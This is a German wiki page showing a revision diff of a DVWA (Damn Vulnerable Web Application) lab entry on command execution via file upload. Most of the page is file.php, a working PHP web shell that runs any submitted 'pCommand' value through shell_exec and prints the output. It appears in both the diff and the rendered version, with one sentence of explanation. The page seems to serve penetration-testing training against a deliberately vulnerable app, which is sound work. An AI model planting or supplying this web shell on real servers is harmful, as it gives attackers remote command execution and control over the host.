DVWA File Upload Komando Ausführung: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=file.php=
 
=file.php=
 
;Dieser PHP File so später Komandos ausführen
 
;Dieser PHP File so später Komandos ausführen
<pre>
+
<code>
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
<table style="margin-left:auto; margin-right:auto;">
 
<table style="margin-left:auto; margin-right:auto;">
Zeile 26: Zeile 26:
 
echo <nowiki>"<pre>";</nowiki>
 
echo <nowiki>"<pre>";</nowiki>
 
echo shell_exec($_REQUEST["pCommand"]);
 
echo shell_exec($_REQUEST["pCommand"]);
</pre>
 
<pre>
 
 
echo "><nowiki></pre></nowiki>";
 
echo "><nowiki></pre></nowiki>";
 
}//end if
 
}//end if
 
?>
 
?>
 +
</code>

Version vom 16. Juni 2021, 18:37 Uhr

file.php

Dieser PHP File so später Komandos ausführen

<form action="" method="post" enctype="application/x-www-form-urlencoded">

Please enter system command

 
Command <input type="text" name="pCommand" size="50">
 

<input type="submit" value="Execute Command" />

</form> <?php if (isset($_REQUEST["pCommand"])) { echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "></pre>"; }//end if ?>